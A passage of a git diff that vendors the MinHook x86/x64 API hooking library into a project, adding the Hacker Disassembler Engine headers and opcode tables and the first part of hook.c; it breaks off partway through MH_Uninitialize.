0x00000008 +#define F_IMM32 0x00000010 +#define F_IMM64 0x00000020 +#define F_DISP8 0x00000040 +#define F_DISP16 0x00000080 +#define F_DISP32 0x00000100 +#define F_RELATIVE 0x00000200 +#define F_ERROR 0x00001000 +#define F_ERROR_OPCODE 0x00002000 +#define F_ERROR_LENGTH 0x00004000 +#define F_ERROR_LOCK 0x00008000 +#define F_ERROR_OPERAND 0x00010000 +#define F_PREFIX_REPNZ 0x01000000 +#define F_PREFIX_REPX 0x02000000 +#define F_PREFIX_REP 0x03000000 +#define F_PREFIX_66 0x04000000 +#define F_PREFIX_67 0x08000000 +#define F_PREFIX_LOCK 0x10000000 +#define F_PREFIX_SEG 0x20000000 +#define F_PREFIX_REX 0x40000000 +#define F_PREFIX_ANY 0x7f000000 + +#define PREFIX_SEGMENT_CS 0x2e +#define PREFIX_SEGMENT_SS 0x36 +#define PREFIX_SEGMENT_DS 0x3e +#define PREFIX_SEGMENT_ES 0x26 +#define PREFIX_SEGMENT_FS 0x64 +#define PREFIX_SEGMENT_GS 0x65 +#define PREFIX_LOCK 0xf0 +#define PREFIX_REPNZ 0xf2 +#define PREFIX_REPX 0xf3 +#define PREFIX_OPERAND_SIZE 0x66 +#define PREFIX_ADDRESS_SIZE 0x67 + +#pragma pack(push,1) + +typedef struct { + uint8_t len; + uint8_t p_rep; + uint8_t p_lock; + uint8_t p_seg; + uint8_t p_66; + uint8_t p_67; + uint8_t rex; + uint8_t rex_w; + uint8_t rex_r; + uint8_t rex_x; + uint8_t rex_b; + uint8_t opcode; + uint8_t opcode2; + uint8_t modrm; + uint8_t modrm_mod; + uint8_t modrm_reg; + uint8_t modrm_rm; + uint8_t sib; + uint8_t sib_scale; + uint8_t sib_index; + uint8_t sib_base; + union { + uint8_t imm8; + uint16_t imm16; + uint32_t imm32; + uint64_t imm64; + } imm; + union { + uint8_t disp8; + uint16_t disp16; + uint32_t disp32; + } disp; + uint32_t flags; +} hde64s; + +#pragma pack(pop) + +#ifdef __cplusplus +extern "C" { +#endif + +/* __cdecl */ +unsigned int hde64_disasm(const void *code, hde64s *hs); + +#ifdef __cplusplus +} +#endif + +#endif /* _HDE64_H_ */ diff --git a/lib/minhook/src/hde/pstdint.h b/lib/minhook/src/hde/pstdint.h new file mode 100755 index 0000000..84d82a0 --- /dev/null +++ b/lib/minhook/src/hde/pstdint.h @@ -0,0 +1,39 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#include + +// Integer types for HDE. +typedef INT8 int8_t; +typedef INT16 int16_t; +typedef INT32 int32_t; +typedef INT64 int64_t; +typedef UINT8 uint8_t; +typedef UINT16 uint16_t; +typedef UINT32 uint32_t; +typedef UINT64 uint64_t; diff --git a/lib/minhook/src/hde/table32.h b/lib/minhook/src/hde/table32.h new file mode 100755 index 0000000..7b3e12e --- /dev/null +++ b/lib/minhook/src/hde/table32.h @@ -0,0 +1,73 @@ +/* + * Hacker Disassembler Engine 32 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#define C_NONE 0x00 +#define C_MODRM 0x01 +#define C_IMM8 0x02 +#define C_IMM16 0x04 +#define C_IMM_P66 0x10 +#define C_REL8 0x20 +#define C_REL32 0x40 +#define C_GROUP 0x80 +#define C_ERROR 0xff + +#define PRE_ANY 0x00 +#define PRE_NONE 0x01 +#define PRE_F2 0x02 +#define PRE_F3 0x04 +#define PRE_66 0x08 +#define PRE_67 0x10 +#define PRE_LOCK 0x20 +#define PRE_SEG 0x40 +#define PRE_ALL 0xff + +#define DELTA_OPCODES 0x4a +#define DELTA_FPU_REG 0xf1 +#define DELTA_FPU_MODRM 0xf8 +#define DELTA_PREFIXES 0x130 +#define DELTA_OP_LOCK_OK 0x1a1 +#define DELTA_OP2_LOCK_OK 0x1b9 +#define DELTA_OP_ONLY_MEM 0x1cb +#define DELTA_OP2_ONLY_MEM 0x1da + +unsigned char hde32_table[] = { + 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3, + 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f, + 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3, + 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa, + 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90, + 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f, + 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d, + 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59, + 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59, + 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0, + 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01, + 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11, + 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8, + 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca, + 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff, + 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03, + 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00, + 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00, + 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f, + 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a, + 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a, + 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a, + 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06, + 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06, + 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, + 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08, + 0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01, + 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba, + 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00, + 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00, + 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07, + 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf, + 0xe7,0x08,0x00,0xf0,0x02,0x00 +}; diff --git a/lib/minhook/src/hde/table64.h b/lib/minhook/src/hde/table64.h new file mode 100755 index 0000000..01d4541 --- /dev/null +++ b/lib/minhook/src/hde/table64.h @@ -0,0 +1,74 @@ +/* + * Hacker Disassembler Engine 64 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#define C_NONE 0x00 +#define C_MODRM 0x01 +#define C_IMM8 0x02 +#define C_IMM16 0x04 +#define C_IMM_P66 0x10 +#define C_REL8 0x20 +#define C_REL32 0x40 +#define C_GROUP 0x80 +#define C_ERROR 0xff + +#define PRE_ANY 0x00 +#define PRE_NONE 0x01 +#define PRE_F2 0x02 +#define PRE_F3 0x04 +#define PRE_66 0x08 +#define PRE_67 0x10 +#define PRE_LOCK 0x20 +#define PRE_SEG 0x40 +#define PRE_ALL 0xff + +#define DELTA_OPCODES 0x4a +#define DELTA_FPU_REG 0xfd +#define DELTA_FPU_MODRM 0x104 +#define DELTA_PREFIXES 0x13c +#define DELTA_OP_LOCK_OK 0x1ae +#define DELTA_OP2_LOCK_OK 0x1c6 +#define DELTA_OP_ONLY_MEM 0x1d8 +#define DELTA_OP2_ONLY_MEM 0x1e7 + +unsigned char hde64_table[] = { + 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, + 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, + 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, + 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, + 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, + 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, + 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, + 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, + 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, + 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, + 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, + 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, + 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, + 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, + 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, + 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, + 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, + 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, + 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, + 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, + 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, + 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, + 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, + 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, + 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, + 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, + 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, + 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, + 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, + 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, + 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, + 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, + 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, + 0x00,0xf0,0x02,0x00 +}; diff --git a/lib/minhook/src/hook.c b/lib/minhook/src/hook.c new file mode 100755 index 0000000..06f5696 --- /dev/null +++ b/lib/minhook/src/hook.c @@ -0,0 +1,939 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include +#include +#include + +#include "../include/MinHook.h" +#include "buffer.h" +#include "trampoline.h" + +#ifndef ARRAYSIZE + #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0])) +#endif + +// Initial capacity of the HOOK_ENTRY buffer. +#define INITIAL_HOOK_CAPACITY 32 + +// Initial capacity of the thread IDs buffer. +#define INITIAL_THREAD_CAPACITY 128 + +// Special hook position values. +#define INVALID_HOOK_POS UINT_MAX +#define ALL_HOOKS_POS UINT_MAX + +// Freeze() action argument defines. +#define ACTION_DISABLE 0 +#define ACTION_ENABLE 1 +#define ACTION_APPLY_QUEUED 2 + +// Thread access rights for suspending/resuming threads. +#define THREAD_ACCESS \ + (THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT) + +// Hook information. +typedef struct _HOOK_ENTRY +{ + LPVOID pTarget; // Address of the target function. + LPVOID pDetour; // Address of the detour or relay function. + LPVOID pTrampoline; // Address of the trampoline function. + UINT8 backup[8]; // Original prologue of the target function. + + UINT8 patchAbove : 1; // Uses the hot patch area. + UINT8 isEnabled : 1; // Enabled. + UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled. + + UINT nIP : 4; // Count of the instruction boundaries. + UINT8 oldIPs[8]; // Instruction boundaries of the target function. + UINT8 newIPs[8]; // Instruction boundaries of the trampoline function. +} HOOK_ENTRY, *PHOOK_ENTRY; + +// Suspended threads for Freeze()/Unfreeze(). +typedef struct _FROZEN_THREADS +{ + LPDWORD pItems; // Data heap + UINT capacity; // Size of allocated data heap, items + UINT size; // Actual number of data items +} FROZEN_THREADS, *PFROZEN_THREADS; + +//------------------------------------------------------------------------- +// Global Variables: +//------------------------------------------------------------------------- + +// Spin lock flag for EnterSpinLock()/LeaveSpinLock(). +static volatile LONG g_isLocked = FALSE; + +// Private heap handle. If not NULL, this library is initialized. +static HANDLE g_hHeap = NULL; + +// Hook entries. +static struct +{ + PHOOK_ENTRY pItems; // Data heap + UINT capacity; // Size of allocated data heap, items + UINT size; // Actual number of data items +} g_hooks; + +//------------------------------------------------------------------------- +// Returns INVALID_HOOK_POS if not found. +static UINT FindHookEntry(LPVOID pTarget) +{ + UINT i; + for (i = 0; i < g_hooks.size; ++i) + { + if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget) + return i; + } + + return INVALID_HOOK_POS; +} + +//------------------------------------------------------------------------- +static PHOOK_ENTRY AddHookEntry() +{ + if (g_hooks.pItems == NULL) + { + g_hooks.capacity = INITIAL_HOOK_CAPACITY; + g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc( + g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY)); + if (g_hooks.pItems == NULL) + return NULL; + } + else if (g_hooks.size >= g_hooks.capacity) + { + PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc( + g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY)); + if (p == NULL) + return NULL; + + g_hooks.capacity *= 2; + g_hooks.pItems = p; + } + + return &g_hooks.pItems[g_hooks.size++]; +} + +//------------------------------------------------------------------------- +static VOID DeleteHookEntry(UINT pos) +{ + if (pos < g_hooks.size - 1) + g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1]; + + g_hooks.size--; + + if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size) + { + PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc( + g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY)); + if (p == NULL) + return; + + g_hooks.capacity /= 2; + g_hooks.pItems = p; + } +} + +//------------------------------------------------------------------------- +static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip) +{ + UINT i; + + if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL))) + return (DWORD_PTR)pHook->pTarget; + + for (i = 0; i < pHook->nIP; ++i) + { + if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i])) + return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]; + } + +#if defined(_M_X64) || defined(__x86_64__) + // Check relay function. + if (ip == (DWORD_PTR)pHook->pDetour) + return (DWORD_PTR)pHook->pTarget; +#endif + + return 0; +} + +//------------------------------------------------------------------------- +static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip) +{ + UINT i; + for (i = 0; i < pHook->nIP; ++i) + { + if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i])) + return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]; + } + + return 0; +} + +//------------------------------------------------------------------------- +static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action) +{ + // If the thread suspended in the overwritten area, + // move IP to the proper address. + + CONTEXT c; +#if defined(_M_X64) || defined(__x86_64__) + DWORD64 *pIP = &c.Rip; +#else + DWORD *pIP = &c.Eip; +#endif + UINT count; + + c.ContextFlags = CONTEXT_CONTROL; + if (!GetThreadContext(hThread, &c)) + return; + + if (pos == ALL_HOOKS_POS) + { + pos = 0; + count = g_hooks.size; + } + else + { + count = pos + 1; + } + + for (; pos < count; ++pos) + { + PHOOK_ENTRY pHook = &g_hooks.pItems[pos]; + BOOL enable; + DWORD_PTR ip; + + switch (action) + { + case ACTION_DISABLE: + enable = FALSE; + break; + + case ACTION_ENABLE: + enable = TRUE; + break; + + default: // ACTION_APPLY_QUEUED + enable = pHook->queueEnable; + break; + } + if (pHook->isEnabled == enable) + continue; + + if (enable) + ip = FindNewIP(pHook, *pIP); + else + ip = FindOldIP(pHook, *pIP); + + if (ip != 0) + { + *pIP = ip; + SetThreadContext(hThread, &c); + } + } +} + +//------------------------------------------------------------------------- +static BOOL EnumerateThreads(PFROZEN_THREADS pThreads) +{ + BOOL succeeded = FALSE; + + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) + { + THREADENTRY32 te; + te.dwSize = sizeof(THREADENTRY32); + if (Thread32First(hSnapshot, &te)) + { + succeeded = TRUE; + do + { + if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD)) + && te.th32OwnerProcessID == GetCurrentProcessId() + && te.th32ThreadID != GetCurrentThreadId()) + { + if (pThreads->pItems == NULL) + { + pThreads->capacity = INITIAL_THREAD_CAPACITY; + pThreads->pItems + = (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD)); + if (pThreads->pItems == NULL) + { + succeeded = FALSE; + break; + } + } + else if (pThreads->size >= pThreads->capacity) + { + LPDWORD p; + pThreads->capacity *= 2; + p = (LPDWORD)HeapReAlloc( + g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD)); + if (p == NULL) + { + succeeded = FALSE; + break; + } + + pThreads->pItems = p; + } + pThreads->pItems[pThreads->size++] = te.th32ThreadID; + } + + te.dwSize = sizeof(THREADENTRY32); + } while (Thread32Next(hSnapshot, &te)); + + if (succeeded && GetLastError() != ERROR_NO_MORE_FILES) + succeeded = FALSE; + + if (!succeeded && pThreads->pItems != NULL) + { + HeapFree(g_hHeap, 0, pThreads->pItems); + pThreads->pItems = NULL; + } + } + CloseHandle(hSnapshot); + } + + return succeeded; +} + +//------------------------------------------------------------------------- +static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action) +{ + MH_STATUS status = MH_OK; + + pThreads->pItems = NULL; + pThreads->capacity = 0; + pThreads->size = 0; + if (!EnumerateThreads(pThreads)) + { + status = MH_ERROR_MEMORY_ALLOC; + } + else if (pThreads->pItems != NULL) + { + UINT i; + for (i = 0; i < pThreads->size; ++i) + { + HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]); + BOOL suspended = FALSE; + if (hThread != NULL) + { + DWORD result = SuspendThread(hThread); + if (result != 0xFFFFFFFF) + { + suspended = TRUE; + ProcessThreadIPs(hThread, pos, action); + } + CloseHandle(hThread); + } + + if (!suspended) + { + // Mark thread as not suspended, so it's not resumed later on. + pThreads->pItems[i] = 0; + } + } + } + + return status; +} + +//------------------------------------------------------------------------- +static VOID Unfreeze(PFROZEN_THREADS pThreads) +{ + if (pThreads->pItems != NULL) + { + UINT i; + for (i = 0; i < pThreads->size; ++i) + { + DWORD threadId = pThreads->pItems[i]; + if (threadId != 0) + { + HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId); + if (hThread != NULL) + { + ResumeThread(hThread); + CloseHandle(hThread); + } + } + } + + HeapFree(g_hHeap, 0, pThreads->pItems); + } +} + +//------------------------------------------------------------------------- +static MH_STATUS EnableHookLL(UINT pos, BOOL enable) +{ + PHOOK_ENTRY pHook = &g_hooks.pItems[pos]; + DWORD oldProtect; + SIZE_T patchSize = sizeof(JMP_REL); + LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget; + + if (pHook->patchAbove) + { + pPatchTarget -= sizeof(JMP_REL); + patchSize += sizeof(JMP_REL_SHORT); + } + + if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect)) + return MH_ERROR_MEMORY_PROTECT; + + if (enable) + { + PJMP_REL pJmp = (PJMP_REL)pPatchTarget; + pJmp->opcode = 0xE9; + pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL))); + + if (pHook->patchAbove) + { + PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget; + pShortJmp->opcode = 0xEB; + pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL))); + } + } + else + { + if (pHook->patchAbove) + memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT)); + else + memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL)); + } + + VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect); + + // Just-in-case measure. + FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize); + + pHook->isEnabled = enable; + pHook->queueEnable = enable; + + return MH_OK; +} + +//------------------------------------------------------------------------- +static MH_STATUS EnableAllHooksLL(BOOL enable) +{ + MH_STATUS status = MH_OK; + UINT i, first = INVALID_HOOK_POS; + + for (i = 0; i < g_hooks.size; ++i) + { + if (g_hooks.pItems[i].isEnabled != enable) + { + first = i; + break; + } + } + + if (first != INVALID_HOOK_POS) + { + FROZEN_THREADS threads; + status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE); + if (status == MH_OK) + { + for (i = first; i < g_hooks.size; ++i) + { + if (g_hooks.pItems[i].isEnabled != enable) + { + status = EnableHookLL(i, enable); + if (status != MH_OK) + break; + } + } + + Unfreeze(&threads); + } + } + + return status; +} + +//------------------------------------------------------------------------- +static VOID EnterSpinLock(VOID) +{ + SIZE_T spinCount = 0; + + // Wait until the flag is FALSE. + while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE) + { + // No need to generate a memory barrier here, since InterlockedCompareExchange() + // generates a full memory barrier itself. + + // Prevent the loop from being too busy. + if (spinCount < 32) + Sleep(0); + else + Sleep(1); + + spinCount++; + } +} + +//------------------------------------------------------------------------- +static VOID LeaveSpinLock(VOID) +{ + // No need to generate a memory barrier here, since InterlockedExchange() + // generates a full memory barrier itself. + + InterlockedExchange(&g_isLocked, FALSE); +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_Initialize(VOID) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap == NULL) + { + g_hHeap = HeapCreate(0, 0, 0); + if (g_hHeap != NULL) + { + // Initialize the internal function buffer. + InitializeBuffer(); + } + else + { + status = MH_ERROR_MEMORY_ALLOC; + } + } + else + { + status = MH_ERROR_ALREADY_INITIALIZED; + } + + LeaveSpinLock(); + + return status; +} + +//------------------------------------------------------------------------- +MH_STATUS WINAPI MH_Uninitialize(VOID) +{ + MH_STATUS status = MH_OK; + + EnterSpinLock(); + + if (g_hHeap 